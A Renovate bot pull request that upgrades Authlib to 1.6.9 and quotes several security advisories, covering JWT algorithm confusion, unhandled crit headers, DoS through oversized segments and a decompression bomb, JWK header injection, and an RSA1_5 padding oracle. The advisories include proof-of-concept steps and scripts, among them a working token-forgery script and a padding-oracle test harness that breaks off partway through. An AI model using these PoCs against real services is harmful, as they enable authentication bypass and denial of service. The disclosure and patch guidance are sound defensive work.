Skip to content

Update dependency Authlib to v1.6.9 [SECURITY]#14

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-authlib-vulnerability
Open

Update dependency Authlib to v1.6.9 [SECURITY]#14
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-authlib-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Aug 12, 2024

Copy link
Copy Markdown

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
Authlib ==1.2.1==1.6.9 age adoption passing confidence

Authlib has algorithm confusion with asymmetric public keys

CVE-2024-37568 / GHSA-5357-c2jx-v7qh

More information

Details

lepture Authlib before 1.3.1 has algorithm confusion with asymmetric public keys. Unless an algorithm is specified in a jwt.decode call, HMAC verification is allowed with any asymmetric public key. (This is similar to CVE-2022-29217 and CVE-2024-33663.)

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Authlib: JWS/JWT accepts unknown crit headers (RFC violation → possible authz bypass)

CVE-2025-59420 / GHSA-9ggr-2464-2j32

More information

Details

Summary

Authlib’s JWS verification accepts tokens that declare unknown critical header parameters (crit), violating RFC 7515 “must‑understand” semantics. An attacker can craft a signed token with a critical header (for example, bork or cnf) that strict verifiers reject but Authlib accepts. In mixed‑language fleets, this enables split‑brain verification and can lead to policy bypass, replay, or privilege escalation.

Affected Component and Versions
  • Library: Authlib (JWS verification)
  • API: authlib.jose.JsonWebSignature.deserialize_compact(...)
  • Version tested: 1.6.3
  • Configuration: Default; no allowlist or special handling for crit
Details

RFC 7515 (JWS) §4.1.11 defines crit as a “must‑understand” list: recipients MUST understand and enforce every header parameter listed in crit, otherwise they MUST reject the token. Security‑sensitive semantics such as token binding (e.g., cnf from RFC 7800) are often conveyed via crit.

Observed behavior with Authlib 1.6.3:

  • When a compact JWS contains a protected header with crit: ["cnf"] and a cnf object, or crit: ["bork"] with an unknown parameter, Authlib verifies the signature and returns the payload without rejecting the token or enforcing semantics of the critical parameter.
  • By contrast, Java Nimbus JOSE+JWT (9.37.x) and Node jose v5 both reject such tokens by default when crit lists unknown names.

Impact in heterogeneous fleets:

  • A strict ingress/gateway (Nimbus/Node) rejects a token, but a lenient Python microservice (Authlib) accepts the same token. This split‑brain acceptance bypasses intended security policies and can enable replay or privilege escalation if crit carries binding or policy information.
Proof of Concept (PoC)

This repository provides a multi‑runtime PoC demonstrating the issue across Python (Authlib), Node (jose v5), and Java (Nimbus).

Prerequisites
  • Python 3.8+
  • Node.js 18+
  • Java 11+ with Maven
Setup

Enter the directory authlib-crit-bypass-poc & run following commands.

make setup
make tokens
Tokens minted
  • tokens/unknown_crit.jwt with protected header:
    { "alg": "HS256", "crit": ["bork"], "bork": "x" }
  • tokens/cnf_header.jwt with protected header:
    { "alg": "HS256", "crit": ["cnf"], "cnf": {"jkt": "thumb-42"} }
Reproduction

Run the cross‑runtime demo:

make  demo

Expected output for each token (strict verifiers reject; Authlib accepts):

For tokens/unknown_crit.jwt:

Strict(Nimbus): REJECTED (unknown critical header: bork)
Strict(Node jose): REJECTED (unrecognized crit)
Lenient(Authlib): ACCEPTED -> payload={'sub': '123', 'role': 'user'}

For tokens/cnf_header.jwt:

Strict(Nimbus): REJECTED (unknown critical header: cnf)
Strict(Node jose): REJECTED (unrecognized crit)
Lenient(Authlib): ACCEPTED -> payload={'sub': '123', 'role': 'user'}

Environment notes:

  • Authlib version used: 1.6.3 (from PyPI)
  • Node jose version: ^5
  • Nimbus JOSE+JWT version: 9.37.x
  • HS256 secret is 32 bytes to satisfy strict verifiers: 0123456789abcdef0123456789abcdef
Impact
  • Class: Violation of JWS crit “must‑understand” semantics; specification non‑compliance leading to authentication/authorization policy bypass.
  • Who is impacted: Any service that relies on crit to carry mandatory security semantics (e.g., token binding via cnf) or operates in a heterogeneous fleet with strict verifiers elsewhere.
  • Consequences: Split‑brain acceptance (gateway rejects while a backend accepts), replay, or privilege escalation if critical semantics are ignored.
References
  • RFC 7515: JSON Web Signature (JWS), §4.1.11 crit
  • RFC 7800: Proof‑of‑Possession Key Semantics for JWTs (cnf)

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Authlib is vulnerable to Denial of Service via Oversized JOSE Segments

CVE-2025-61920 / GHSA-pq5p-34cr-23v9

More information

Details

Summary
Authlib’s JOSE implementation accepts unbounded JWS/JWT header and signature segments. A remote attacker can craft a token whose base64url‑encoded header or signature spans hundreds of megabytes. During verification, Authlib decodes and parses the full input before it is rejected, driving CPU and memory consumption to hostile levels and enabling denial of service.

Impact

  • Attack vector: unauthenticated network attacker submits a malicious JWS/JWT.

  • Effect: base64 decode + JSON/crypto processing of huge buffers pegs CPU and allocates large amounts of RAM; a single request can exhaust service capacity.

  • Observed behaviour: on a test host, the legacy code verified a 500 MB header, consuming ~4 GB RSS and ~9 s CPU before failing.

  • Severity: High. CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5).

Affected Versions
Authlib ≤ 1.6.3 (and earlier) when verifying JWS/JWT tokens. Later snapshots with 256 KB header/signature limits are not affected.

Proof of concept

Local demo (do not run against third-party systems):
Download jws_segment_dos_demo.py the PoC in direcotry authlib/
Run following Command

python3 jws_segment_dos_demo.py --variant both --sizes "500MB" --fork-per-case

Environment: Python 3.13.6, Authlib 1.6.4, Linux x86_64, CPUs=8
Sample output: Refined
image

The compilation script prints separate “[ATTACKER]” (token construction) and “[SERVER]” (Authlib verification) RSS deltas so defenders can distinguish client-side preparation from server-side amplification. Regression tests authlib/tests/dos/test_jose_dos.py further capture the issue; the saved original_util.py/original_jws.py reproductions still accept the malicious payload.

Remediation

  • Apply the upstream patch that introduces decoded size limits:

  • MAX_HEADER_SEGMENT_BYTES = 256 KB

  • MAX_SIGNATURE_SEGMENT_BYTES = 256 KB

  • Enforce Limits in authlib/jose/util.extract_segment and _extract_signature.

  • Deploy the patched release immediately.

  • For additional defence in depth, reject JWS/JWT inputs above a few kilobytes at the proxy or WAF layer, and rate-limit verification endpoints.

Workarounds (temporary)

  • Enforce input size limits before handing tokens to Authlib.

  • Use application-level throttling to reduce amplification risk.

Resources

  • Demo script: jws_segment_dos_demo.py

  • Tests: authlib/tests/dos/test_jose_dos.py

  • OWASP JWT Cheat Sheet (DoS guidance)

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Authlib : JWE zip=DEF decompression bomb enables DoS

CVE-2025-62706 / GHSA-g7f3-828f-7h7m

More information

Details

Summary

Authlib’s JWE zip=DEF path performs unbounded DEFLATE decompression. A very small ciphertext can expand into tens or hundreds of megabytes on decrypt, allowing an attacker who can supply decryptable tokens to exhaust memory and CPU and cause denial of service.

Details
  • Affected component: Authlib JOSE, JWE zip=DEF (DEFLATE) support.
  • In authlib/authlib/jose/rfc7518/jwe_zips.py, DeflateZipAlgorithm.decompress calls zlib.decompress(s, -zlib.MAX_WBITS) without a maximum output limit. This permits unbounded expansion of compressed payloads.
  • In the JWE decode flow (authlib/authlib/jose/rfc7516/jwe.py), when the protected header contains "zip": "DEF", the library routes the decrypted ciphertext into the decompress method and assigns the fully decompressed bytes to the plaintext field before returning it. No streaming limit or quota is applied.
  • Because DEFLATE achieves extremely high ratios on highly repetitive input, an attacker can craft a tiny zip=DEF ciphertext that inflates to a very large plaintext during decrypt, spiking RSS and CPU. Repeated requests can starve the process or host.

Code references (from this repository version):

  • authlib/authlib/jose/rfc7518/jwe_zips.pyDeflateZipAlgorithm.decompress uses unbounded zlib.decompress.
  • authlib/authlib/jose/rfc7516/jwe.py – JWE decode path applies zip_.decompress(msg) when zip=DEF is present in the header.

Contrast: The joserfc project guards zip=DEF decompression with a fixed maximum (256 KB) and raises ExceededSizeError if output would exceed this limit, preventing the bomb. Authlib lacks such a guard in this codebase snapshot.

PoC

Environment: Python 3.10+ inside a venv; Authlib installed editable from this repository so source changes are visible. The PoC script demonstrates both a benign and a compressible-bomb payload and prints wall/CPU time, RSS, and size ratios.

  1. Create venv and install Authlib (editable):
    Set current directory to /authlib
    Download jwe_deflate_dos_demo.py in /authlib
python3 -m venv .venv
.venv/bin/pip install --upgrade pip
.venv/bin/pip install -e .
  1. Run the PoC (included in this repo):
.venv/bin/python /authlib/jwe_deflate_dos_demo.py --size 50 --max-rss-mb 2048

Sample output (abridged):

LOCAL TEST ONLY – do not send to third-party systems.
Runtime: Python 3.13.6 / Authlib 1.6.4 / zip=DEF via A256GCM
[CASE] normal    plaintext=13B  ciphertext=117B decompressed=13B  wall_s=0.000 cpu_s=0.000 peak_rss_mb=31.0  ratio=0.1
[CASE] malicious plaintext=50MB ciphertext=~4KB decompressed=50MB wall_s=~2.3  cpu_s=~2.2  peak_rss_mb=800+  ratio=12500+

The second case shows the decompression spike: a few KB of ciphertext forces allocation and processing of ~50 MB during decrypt. Repeated requests can quickly exhaust available memory and CPU.

Reproduction notes:

  • Algorithm: alg=dir, enc=A256GCM, header includes { "zip": "DEF" }.
  • The PoC uses a 32‑byte local symmetric key and a highly compressible payload ("A" * N).
  • Increase --size to stress memory; the --max-rss-mb flag helps avoid destabilizing the host during testing.
Impact
  • Effect: Denial of service (memory/CPU exhaustion) during JWE decrypt of zip=DEF tokens.
  • Who is impacted: Any service that uses Authlib to decrypt JWE tokens with zip=DEF and where an attacker can submit tokens that will be successfully decrypted (e.g., shared dir key, token reflection, or compromised/abused issuers).
  • Confidentiality/Integrity: No direct C/I impact; availability impact is high.
Severity (CVSS v3.1)

Base vector (typical shared‑secret scenario where the attacker must produce a decryptable token):

  • CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H → 6.5 (MEDIUM)

Rationale:

  • Network‑reachable (AV:N), low complexity (AC:L), no user interaction (UI:N), scope unchanged (S:U).
  • Attacker must hold or gain ability to mint a decryptable token for the target (PR:L) — common with alg=dir and shared keys across services.
  • No confidentiality or integrity loss (C:N/I:N); availability is severely impacted (A:H) due to decompression expansion.
    If arbitrary unprivileged parties can submit JWEs that will be decrypted (PR:N), the base vector becomes:
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H → 7.5 (HIGH)
Mitigations / Workarounds
  • Reject or strip zip=DEF for inbound JWEs at the application boundary until a fix is available.
  • Fork and add a bounded decompression guard (e.g., zlib.decompress(..., max_length) via decompressobj().decompress(data, MAX_SIZE)), returning an error when output exceeds a safe limit.
  • Enforce strict maximum token sizes and fail fast on oversized inputs; combine with rate limiting.
Remediation Guidance (for maintainers)
  • Mirror joserfc’s approach: add a conservative maximum output size (e.g., 256 KB by default) and raise a specific error when exceeded; document a controlled way to raise this ceiling for trusted environments.
  • Consider streaming decode with chunked limits to avoid large single allocations.
References
  • Authlib source: authlib/authlib/jose/rfc7518/jwe_zips.py, authlib/authlib/jose/rfc7516/jwe.py

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Authlib JWS JWK Header Injection: Signature Verification Bypass

CVE-2026-27962 / GHSA-wvwj-cvrp-7pv5

More information

Details

Description
Summary

A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated
attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed
to any JWS deserialization function, the library extracts and uses the cryptographic key embedded
in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own
private key, embed the matching public key in the header, and have the server accept the forged
token as cryptographically valid — bypassing authentication and authorization entirely.

This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.

Details

Vulnerable file: authlib/jose/rfc7515/jws.py
Vulnerable method: JsonWebSignature._prepare_algorithm_key()
Lines: 272–273

elif key is None and "jwk" in header:
    key = header["jwk"]   # ← attacker-controlled key used for verification

When key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), or
jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts
that value — which is fully attacker-controlled — and uses it as the verification key.

RFC 7515 violations:

  • §4.1.3 explicitly states the jwk header parameter is "NOT RECOMMENDED" because keys
    embedded by the token submitter cannot be trusted as a verification anchor.
  • §5.2 (Validation Algorithm) specifies the verification key MUST come from the application
    context
    , not from the token itself. There is no step in the RFC that permits falling back to
    the jwk header when no application key is provided.

Why this is a library issue, not just a developer mistake:

The most common real-world trigger is a key resolver callable used for JWKS-based key lookup.
A developer writes:

def lookup_key(header, payload):
    kid = header.get("kid")
    return jwks_cache.get(kid)   # returns None when kid is unknown/rotated

jws.deserialize_compact(token, lookup_key)

When an attacker submits a token with an unknown kid, the callable legitimately returns None.
The library then silently falls through to key = header["jwk"], trusting the attacker's embedded
key. The developer never wrote key=None — the library's fallback logic introduced it. The result
looks like a verified token with no exception raised, making the substitution invisible.

Attack steps:

  1. Attacker generates an RSA or EC keypair.
  2. Attacker crafts a JWT payload with any desired claims (e.g. {"role": "admin"}).
  3. Attacker signs the JWT with their private key.
  4. Attacker embeds their public key in the JWT jwk header field.
  5. Attacker uses an unknown kid to cause the key resolver to return None.
  6. The library uses header["jwk"] for verification — signature passes.
  7. Forged claims are returned as authentic.
PoC

Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).

Requirements:

pip install authlib cryptography

Exploit script:

from authlib.jose import JsonWebSignature, RSAKey
import json

jws = JsonWebSignature(["RS256"])

##### Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)

##### Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)

##### Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims)  # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin"  # PASSES

Expected output:

{'sub': 'attacker', 'role': 'admin'}

Docker (self-contained reproduction):

sudo docker run --rm authlib-cve-poc:latest \
  python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py
Impact

This is an authentication and authorization bypass vulnerability. Any application using authlib's
JWS deserialization is affected when:

  • key=None is passed directly, or
  • a key resolver callable returns None for unknown/rotated kid values (the common JWKS lookup pattern)

An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims
(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.
The forged token is indistinguishable from a legitimate one — no exception is raised.

This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk
header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from
the application context, not the token itself.

Minimal fix — remove the fallback from authlib/jose/rfc7515/jws.py:272-273:

##### DELETE:
elif key is None and "jwk" in header:
    key = header["jwk"]

Recommended safe replacement — raise explicitly when no key is resolved:

if key is None:
    raise MissingKeyError("No key provided and no valid key resolvable from context.")

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Authlib Vulnerable to JWE RSA1_5 Bleichenbacher Padding Oracle

CVE-2026-28490 / GHSA-7432-952r-cw78

More information

Details

1. Executive Summary

A cryptographic padding oracle vulnerability was identified in the Authlib Python library
concerning the implementation of the JSON Web Encryption (JWE) RSA1_5 key management
algorithm. Authlib registers RSA1_5 in its default algorithm registry without requiring
explicit opt-in, and actively destroys the constant-time Bleichenbacher mitigation that
the underlying cryptography library implements correctly.

When cryptography encounters an invalid PKCS#1 v1.5 padding, it returns a randomized
byte string instead of raising an exception — the correct behavior per RFC 3218 §2.3.2.
Authlib ignores this contract and raises ValueError('Invalid "cek" length') immediately
after decryption, before reaching AES-GCM tag validation. This creates a clean, reliable
Exception Oracle:

  • Invalid paddingcryptography returns random bytes → Authlib length check fails
    ValueError: Invalid "cek" length
  • Valid padding, wrong MAC → decryption succeeds → length check passes → AES-GCM
    fails → InvalidTag

This oracle is active by default in every Authlib installation without any special
configuration by the developer or the attacker.
The three most widely used Python web
frameworks — Flask, Django, and FastAPI — all expose distinguishable HTTP responses for
these two exception classes in their default configurations, requiring no additional
setup to exploit.

Empirically confirmed on authlib 1.6.8 + cryptography 46.0.5:

[PADDING INVALIDO]     ValueError: Invalid "cek" length
[PADDING VALIDO/MAC]   InvalidTag

2. Technical Details & Root Cause
2.1 Vulnerable Code

File: authlib/jose/rfc7518/jwe_algs.py

def unwrap(self, enc_alg, ek, headers, key):
    op_key = key.get_op_key("unwrapKey")

    # cryptography implements Bleichenbacher mitigation here:
    # on invalid padding it returns random bytes instead of raising.
    # Empirically confirmed: returns 84 bytes for a 2048-bit key.
    cek = op_key.decrypt(ek, self.padding)

    # VULNERABILITY: This length check destroys the mitigation.
    # cryptography returned 84 random bytes. len(84) * 8 = 672 != 128 (A128GCM CEK_SIZE).
    # Authlib raises a distinct ValueError before AES-GCM is ever reached.
    if len(cek) * 8 != enc_alg.CEK_SIZE:
        raise ValueError('Invalid "cek" length')   # <- ORACLE TRIGGER

    return cek
2.2 Root Cause — Active Mitigation Destruction

cryptography 46.0.5 implements the Bleichenbacher mitigation correctly at the library
level. When PKCS#1 v1.5 padding validation fails, it does not raise an exception.
Instead it returns a randomized byte string (empirically observed: 84 bytes for a
2048-bit RSA key). The caller is expected to pass this fake key to the symmetric
decryptor, where MAC/tag validation will fail in constant time — producing an error
indistinguishable from a MAC failure on a valid padding.

Authlib does not honor this contract. The length check on the following line detects
that 84 bytes != 16 bytes (128-bit CEK for A128GCM) and raises ValueError('Invalid "cek" length') immediately. This exception propagates before AES-GCM is ever reached,
creating two execution paths with observable differences:

Path A — invalid PKCS#1 v1.5 padding:
  op_key.decrypt() -> 84 random bytes  (cryptography mitigation active)
  len(84) * 8 = 672 != 128            (CEK_SIZE for A128GCM)
  raise ValueError('Invalid "cek" length')    <- specific exception, fast path

Path B — valid padding, wrong symmetric key:
  op_key.decrypt() -> 16 correct bytes
  len(16) * 8 = 128 == 128            -> length check passes
  AES-GCM tag validation -> mismatch
  raise InvalidTag                            <- different exception class, slow path

The single line raise ValueError('Invalid "cek" length') is the complete root cause.
Removing the raise and replacing it with a silent random CEK fallback eliminates both
the exception oracle and any residual timing difference.

2.3 Empirical Confirmation

All results obtained on authlib 1.6.8 / cryptography 46.0.5 / Linux x86_64
running the attached PoC (poc_bleichenbacher.py):

TEST 1 - cryptography behavior on invalid padding:
  cryptography retorno bytes: len=84
  NOTA: esta version implementa mitigacion de random bytes

TEST 2 - Exception Oracle:
  [ORACLE]  Caso A (padding invalido):       ValueError: Invalid "cek" length
  [OK]      Caso B (padding valido/MAC malo): InvalidTag

TEST 3 - Timing (50 iterations):
  Padding invalido (ValueError)   mean=1.500ms  stdev=1.111ms
  Padding valido   (InvalidTag)   mean=1.787ms  stdev=0.978ms
  Delta: 0.287ms

TEST 4 - RSA1_5 in default registry:
  [ORACLE]  RSA1_5 activo por defecto (no opt-in required)

TEST 5 - Fix validation:
  [OK]  Both paths return correct-length CEK after patch
  [OK]  Exception type identical in both paths -> oracle eliminated

Note on timing: The 0.287ms delta is within the noise margin (stdev ~1ms across
50 iterations) and is not claimed as a reliable standalone timing oracle. The exception
oracle is the primary exploitable vector and does not require timing measurement.


3. Default Framework Behavior — Why This Is Exploitable Out of the Box

A potential objection to this report is that middleware or custom error handlers could
normalize exceptions to a single HTTP response, eliminating the observable discrepancy.
This section addresses that objection directly.

The oracle is active in default configurations of all major Python web frameworks.
No special server misconfiguration is required. The following demonstrates the default
behavior for Flask, Django, and FastAPI — the three most widely deployed Python web
frameworks — when an unhandled exception propagates from a route handler:

Flask (default configuration)
##### Default Flask behavior — no error handler registered
@&#8203;app.route("/decrypt", methods=["POST"])
def decrypt():
    token = request.json["token"]
    result = jwe.deserialize_compact(token, private_key)  # raises ValueError or InvalidTag
    return jsonify(result)

##### ValueError: Invalid "cek" length  -> HTTP 500, body: {"message": "Invalid \"cek\" length"}

##### InvalidTag                         -> HTTP 500, body: {"message": ""}
##### The exception MESSAGE is different even if the status code is the same.

Flask's default error handler returns the exception message in the response body for
debug mode, and an empty 500 for production. However, even in production, the response
body content differs between ValueError (which has a message) and InvalidTag
(which has no message), leaking the oracle through response body length.

FastAPI (default configuration)
##### FastAPI maps unhandled exceptions to HTTP 500 with exception detail in body
##### ValueError: Invalid "cek" length  -> {"detail": "Internal Server Error"}  (HTTP 500)

##### InvalidTag                         -> {"detail": "Internal Server Error"}  (HTTP 500)

FastAPI normalizes both to HTTP 500 in production. However, FastAPI's default
RequestValidationError and HTTPException handlers do not catch arbitrary exceptions,
so the distinguishable stack trace is logged — and in many deployments, error monitoring
tools (Sentry, Datadog, etc.) expose the exception class to operators, enabling oracle
exploitation by an insider or via log exfiltration.

Django REST Framework (default configuration)
##### DRF's default exception handler only catches APIException and Http404.
##### ValueError and InvalidTag both fall through to Django's generic 500 handler.

##### In DEBUG=False: HTTP 500, generic HTML response (indistinguishable).
##### In DEBUG=True:  HTTP 500, full traceback including exception class (oracle exposed).

Summary: Even in cases where HTTP status codes are normalized, the oracle persists
through response body differences, response timing, or error monitoring infrastructure.
The RFC 3218 §2.3.2 requirement exists precisely because any observable difference —
regardless of channel — is sufficient for a Bleichenbacher attack. The library is
responsible for eliminating the discrepancy at the source, not delegating that
responsibility to application developers.

This is a library-level vulnerability. Requiring every application developer to
implement custom exception normalization to compensate for a cryptographic flaw in
the library violates the principle of secure defaults. The fix must be in Authlib.


4. Specification Violations
RFC 3218 — Preventing the Million Message Attack on CMS

Section 2.3.2 (Mitigation):

"The receiver MUST NOT return any information that indicates whether the decryption
failed because the PKCS #​1 padding was incorrect or because the MAC was incorrect."

This is an absolute requirement with no exceptions for "application-level mitigations."
Authlib violates this by raising a different exception class for padding failures than
for MAC failures. The cryptography library already implements the correct mitigation
for this exact scenario — Authlib destroys it with a single length check.

RFC 7516 — JSON Web Encryption

Section 9 (Security Considerations):

"An attacker who can cause a JWE decryption to fail in different ways based on the
structure of the encrypted key can mount a Bleichenbacher attack."

Authlib enables exactly this scenario. Two structurally different encrypted keys
(one with invalid padding, one with valid padding but wrong CEK) produce two different
exception classes. This is the exact condition RFC 7516 §9 warns against.


5. Attack Scenario
  1. The attacker identifies an Authlib-powered endpoint that decrypts JWE tokens.
    Because RSA1_5 is in the default registry, no special server configuration
    is required
    .

  2. The attacker obtains the server RSA public key — typically available via the
    JWKS endpoint (/.well-known/jwks.json), which is standard in OIDC deployments.

  3. The attacker crafts JWE tokens with the RSA1_5 algorithm and submits a stream
    of requests to the endpoint, manipulating the ek component per Bleichenbacher's
    algorithm.

  4. The server responds with observable differences between the two paths:

    • ValueError path → distinguishable response (exception message, timing, or
      error monitoring artifact)
    • InvalidTag path → different distinguishable response
  5. By observing these oracle responses across thousands of requests, the attacker
    geometrically narrows the PKCS#1 v1.5 plaintext boundaries until the CEK is
    fully recovered.

  6. With the CEK recovered:

    • Any intercepted JWE payload can be decrypted without the RSA private key.
    • New valid JWE tokens can be forged using the recovered CEK.

Prerequisites:

  • Target endpoint accepts JWE tokens with RSA1_5 (active by default)
  • Any observable difference exists between the two error paths at the HTTP layer
    (present by default in Flask, Django, FastAPI without custom error handling)
  • Attacker can send requests at sufficient volume (rate limiting may extend attack
    duration but does not prevent it)

6. Remediation
6.1 Immediate — Remove RSA1_5 from Default Registry

Remove RSA1_5 from the default JWE_ALG_ALGORITHMS registry. Users requiring
legacy RSA1_5 support should explicitly opt-in with a documented security warning.
This eliminates the attack surface for all users not requiring this algorithm.

6.2 Code Fix — Restore Constant-Time Behavior

The unwrap method must never raise an exception that distinguishes padding failure
from MAC failure. The length check must be replaced with a silent random CEK fallback,
preserving the mitigation that cryptography implements.

Suggested Patch (authlib/jose/rfc7518/jwe_algs.py):

import os

def unwrap(self, enc_alg, ek, headers, key):
    op_key = key.get_op_key("unwrapKey")
    expected_bytes = enc_alg.CEK_SIZE // 8

    try:
        cek = op_key.decrypt(ek, self.padding)
    except ValueError:
        # Padding failure. Use random CEK so failure occurs downstream
        # during MAC validation — not here. This preserves RFC 3218 §2.3.2.
        cek = os.urandom(expected_bytes)

    # Silent length enforcement — no exception.
    # cryptography returns random bytes of RSA block size on padding failure.
    # Replace with correct-size random CEK to allow downstream MAC to fail.
    # Raising here recreates the oracle. Do not raise.
    if len(cek) != expected_bytes:
        cek = os.urandom(expected_bytes)

    return cek

Result: Both paths return a CEK of the correct length. AES-GCM tag validation
fails for both, producing InvalidTag in both cases. The exception oracle is
eliminated. Empirically validated via TEST 5 of the attached PoC.


7. Proof of Concept

Setup:

python3 -m venv venv && source venv/bin/activate
pip install authlib cryptography
python3 -c "import authlib, cryptography; print(authlib.__version__, cryptography.__version__)"

##### authlib 1.6.8  cryptography 46.0.5
python3 poc_bleichenbacher.py

See attached poc_bleichenbacher.py. All 5 tests run against the real installed
authlib module without mocks.

Confirmed Output (authlib 1.6.8 / cryptography 46.0.5 / Linux x86_64):

Code
#!/usr/bin/env python3
##### -*- coding: utf-8 -*-

"""
@&#8203;title          JWE RSA1_5 Bleichenbacher Padding Oracle
@&#8203;affected       authlib <= 1.6.8
@&#8203;file           authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()
"""

import os
import time
import statistics

import authlib
import cryptography
from cryptography.hazmat.primitives.asymmetric import rsa, padding as asym_padding
from authlib.jose import JsonWebEncryption
from authlib.common.encoding import urlsafe_b64encode, to_bytes

R   = "\033[0m"
RED = "\033[91m"
GRN = "\033[92m"
YLW = "\033[93m"
CYN = "\033[96m"
BLD = "\033[1m"
DIM = "\033[2m"

def header(title):
    print(f"\n{CYN}{'-' * 64}{R}")
    print(f"{BLD}{title}{R}")
    print(f"{CYN}{'-' * 64}{R}")

def ok(msg):    print(f"  {GRN}[OK]      {R}{msg}")
def vuln(msg):  print(f"  {RED}[ORACLE]  {R}{BLD}{msg}{R}")
def info(msg):  print(f"  {DIM}          {msg}{R}")

##### ─── setup ────────────────────────────────────────────────────────────────────

def setup():
    """
    @&#8203;notice  Genera el par de claves RSA y prepara el cliente JWE de authlib.
    @&#8203;dev     JsonWebEncryption() registra RSA1_5 por defecto en su registry.
             No se requiere configuracion adicional para habilitar el algoritmo
             vulnerable — esta activo out of the box.
    @&#8203;return  tuple  (private_key, jwe, header_b64)
    """
    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    jwe         = JsonWebEncryption()
    header_b64  = urlsafe_b64encode(
        to_bytes('{"alg":"RSA1_5","enc":"A128GCM"}')
    ).decode()
    return private_key, jwe, header_b64

def make_jwe(header_b64, ek_bytes):
    """
    @&#8203;notice  Construye un JWE compact con el ek dado y ciphertext/tag aleatorios.
    @&#8203;dev     El ciphertext y tag son basura — no importa su contenido porque el
             oracle se activa antes de llegar a la desencriptacion simetrica
             en el caso de padding invalido.
    @&#8203;param   header_b64  Header del JWE en Base64url
    @&#8203;param   ek_bytes    Encrypted Key como bytes crudos
    @&#8203;return  str         JWE en formato compact serialization
    """
    ek         = urlsafe_b64encode(ek_bytes).decode()
    iv         = urlsafe_b64encode(os.urandom(12)).decode()
    ciphertext = urlsafe_b64encode(os.urandom(16)).decode()
    tag        = urlsafe_b64encode(os.urandom(16)).decode()
    return f"{header_b64}.{ek}.{iv}.{ciphertext}.{tag}"

##### ─── test 1: verificar comportamiento de cryptography ante padding invalido ───

def test_cryptography_behavior(private_key):
    """
    @&#8203;notice  Verifica empiricamente que cryptography lanza excepcion ante padding
             invalido en lugar de retornar random bytes (comportamiento critico
             para entender el oracle).

    @&#8203;dev     Algunos documentos sobre Bleichenbacher asumen que la libreria
             subyacente retorna random bytes (mitigacion a nivel biblioteca).
             cryptography 46.0.5 NO hace esto — lanza ValueError directamente.
             Eso significa que Authlib no "destruye una mitigacion existente"
             sino que "no implementa ninguna mitigacion propia".
    """
    header("TEST 1 - Comportamiento de cryptography ante padding invalido")

    garbage = os.urandom(256)

    try:
        result = private_key.decrypt(garbage, asym_padding.PKCS1v15())
        info(f"cryptography retorno bytes: len={len(result)}")
        info("NOTA: esta version implementa mitigacion de random bytes")
    except Exception as e:
        vuln(f"cryptography lanza excepcion directa: {type(e).__name__}: {e}")
        info("No hay mitigacion a nivel de cryptography library")
        info("Authlib no implementa ninguna mitigacion propia -> oracle directo")

##### ─── test 2: exception oracle ─────────────────────────────────────────────────

def test_exception_oracle(private_key, jwe, header_b64):
    """
    @&#8203;notice  Demuestra el Exception Oracle: los dos caminos de fallo producen
             excepciones de clases diferentes, observable a nivel HTTP.

    @&#8203;dev     Camino A (padding invalido):
               op_key.decrypt() -> ValueError: Decryption failed
               Authlib no captura -> propaga como ValueError: Invalid "cek" length
               HTTP server tipicamente: 500 / 400 con mensaje especifico

             Camino B (padding valido, MAC malo):
               op_key.decrypt() -> retorna CEK bytes
               length check pasa
               AES-GCM tag validation falla -> InvalidTag
               HTTP server tipicamente: 401 / 422 / diferente codigo

             La diferencia de clase de excepcion es el oracle primario.
             No requiere medicion de tiempo — solo observar el tipo de error.
    """
    header("TEST 2 - Exception Oracle (tipo de excepcion diferente)")

    # --- caso A: ek con padding invalido (basura aleatoria) ---
